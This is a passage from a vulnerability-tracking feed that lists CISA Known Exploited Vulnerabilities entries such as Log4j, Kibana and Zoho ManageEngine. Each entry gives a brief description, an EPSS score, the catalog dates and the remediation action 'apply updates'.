CISA KEV entry CVE-2019-10149: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-10149&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM WebSphere Application Server and Server Hypervisor Edition Code Injection.
https://kevwire.com/record/CVE-2015-7450
IBM WebSphere Application Server and Server Hypervisor Edition Code Injection. (Jan 10, 2022).
Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-7450&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-7450: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-7450&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Primetek Primefaces Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-1000486
Primetek Primefaces Remote Code Execution Vulnerability (Jan 10, 2022).
Primetek Primefaces is vulnerable to a weak encryption flaw resulting in remote code execution
EPSS 94.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-1000486&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-1000486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-1000486&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kibana Arbitrary Code Execution
https://kevwire.com/record/CVE-2019-7609
Kibana Arbitrary Code Execution (Jan 10, 2022).
Kibana contain an arbitrary code execution flaw in the Timelion visualizer.
EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7609&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7609: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7609&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### FatPipe WARP, IPVPN, and MPVPN Configuration Upload exploit
https://kevwire.com/record/CVE-2021-27860
FatPipe WARP, IPVPN, and MPVPN Configuration Upload exploit (Jan 10, 2022).
A vulnerability in the web management interface of FatPipe WARP, IPVPN, and MPVPN software allows a remote, unauthenticated attacker to upload a file to any location on the filesystem.
EPSS 39.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27860&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27860: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27860&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jan 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Installer Spoofing Vulnerability
https://kevwire.com/record/CVE-2021-43890
Microsoft Windows AppX Installer Spoofing Vulnerability (Dec 15, 2021).
Microsoft Windows AppX Installer contains a spoofing vulnerability which has a high impacts to confidentiality, integrity, and availability.
EPSS 11.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-43890&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-43890: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-43890&date=2026-10-25
CISA added this entry on 2021-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 15, 2021; federal due date Dec 29, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-4102
Google Chromium V8 Use-After-Free Vulnerability (Dec 15, 2021).
Google Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-4102&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-4102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-4102&date=2026-10-25
CISA added this entry on 2021-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 15, 2021; federal due date Dec 29, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho Desktop Central Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-44515
Zoho Desktop Central Authentication Bypass Vulnerability (Dec 10, 2021).
Zoho Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44515&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44515: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44515&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Dec 24, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2019-13272
Linux Kernel Improper Privilege Management Vulnerability (Dec 10, 2021).
Kernel/ptrace.c in Linux kernel mishandles contains an improper privilege management vulnerability that allows local users to obtain root access.
EPSS 52.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-13272&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-13272: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-13272&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Realtek Jungle SDK Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-35394
Realtek Jungle SDK Remote Code Execution Vulnerability (Dec 10, 2021).
RealTek Jungle SDK contains multiple memory corruption vulnerabilities which can allow an attacker to perform remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35394&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35394: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35394&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Dec 24, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability
https://kevwire.com/record/CVE-2019-7238
Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability (Dec 10, 2021).
Sonatype Nexus Repository Manager before 3.15.0 has an incorrect access control vulnerability. Exploitation allows for remote code execution.
EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7238&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7238: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7238&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Solr DataImportHandler Code Injection Vulnerability
https://kevwire.com/record/CVE-2019-0193
Apache Solr DataImportHandler Code Injection Vulnerability (Dec 10, 2021).
The optional Apache Solr module DataImportHandler contains a code injection vulnerability.
EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0193&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Arbitrary File Download
https://kevwire.com/record/CVE-2021-44168
Fortinet FortiOS Arbitrary File Download (Dec 10, 2021).
Fortinet FortiOS "execute restore src-vis" downloads code without integrity checking, allowing an attacker to arbitrarily download files.
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44168&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44168: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44168&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Dec 24, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Embedthis GoAhead Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-17562
Embedthis GoAhead Remote Code Execution Vulnerability (Dec 10, 2021).
Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-17562&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-17562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-17562&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat JBoss Application Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-12149
Red Hat JBoss Application Server Remote Code Execution Vulnerability (Dec 10, 2021).
The JBoss Application Server, shipped with Red Hat Enterprise Application Platform 5.2, allows an attacker to execute arbitrary code via crafted serialized data.
EPSS 90.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12149&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12149: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12149&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2010-1871
Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability (Dec 10, 2021).
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, allows attackers to perform remote code execution. This vulnerability can only be exploited when the Java Security Manager is not properly configured.
EPSS 83.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-1871&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-1871: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-1871&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fuel CMS SQL Injection Vulnerability
https://kevwire.com/record/CVE-2020-17463
Fuel CMS SQL Injection Vulnerability (Dec 10, 2021).
FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
EPSS 89.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17463&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17463&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Pi-Hole AdminLTE Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-8816
Pi-Hole AdminLTE Remote Code Execution Vulnerability (Dec 10, 2021).
Pi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.
EPSS 78.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8816&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8816: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8816&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MongoDB mongo-express Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-10758
MongoDB mongo-express Remote Code Execution Vulnerability (Dec 10, 2021).
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method.
EPSS 84.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-10758&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-10758: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-10758&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Jun 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Log4j2 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-44228
Apache Log4j2 Remote Code Execution Vulnerability (Dec 10, 2021).
Apache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44228&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44228: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44228&date=2026-10-25
CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2021; federal due date Dec 24, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2020-11261
Qualcomm Multiple Chipsets Improper Input Validation Vulnerability (Dec 1, 2021).
Memory corruption due to improper check to return error when user application requests memory allocation of a huge size in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11261&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11261: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11261&date=2026-10-25
CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 1, 2021; federal due date Jun 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MikroTik Router OS Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2018-14847
MikroTik Router OS Directory Traversal Vulnerability (Dec 1, 2021).
MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.
EPSS 96.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14847&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14847&date=2026-10-25
CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 1, 2021; federal due date Jun 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine ServiceDesk Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-37415
Zoho ManageEngine ServiceDesk Authentication Bypass Vulnerability (Dec 1, 2021).
Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-37415&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-37415: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-37415&date=2026-10-25
CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 1, 2021; federal due date Dec 15, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HTTP Server-Side Request Forgery (SSRF)
https://kevwire.com/record/CVE-2021-40438
Apache HTTP Server-Side Request Forgery (SSRF) (Dec 1, 2021).
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40438&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40438: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40438&date=2026-10-25
CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 1, 2021; federal due date Dec 15, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine ServiceDesk Plus Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-44077
Zoho ManageEngine ServiceDesk Plus Remote Code Execution Vulnerability (Dec 1, 2021).
Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution
EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44077&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44077&date=2026-10-25
CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 1, 2021; federal due date Dec 15, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ExifTool Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-22204
ExifTool Remote Code Execution Vulnerability (Nov 17, 2021).
Improper neutralization of user data in the DjVu file format in Exiftool versions 7.44 and up allows arbitrary code execution when parsing the malicious image
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22204&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22204: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22204&date=2026-10-25
CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 17, 2021; federal due date Dec 1, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-40449
Microsoft Windows Win32k Privilege Escalation Vulnerability (Nov 17, 2021).
Unspecified vulnerability allows for an authenticated user to escalate privileges.
EPSS 81.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40449&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40449: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40449&date=2026-10-25
CISA added this entry on 2021-11-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
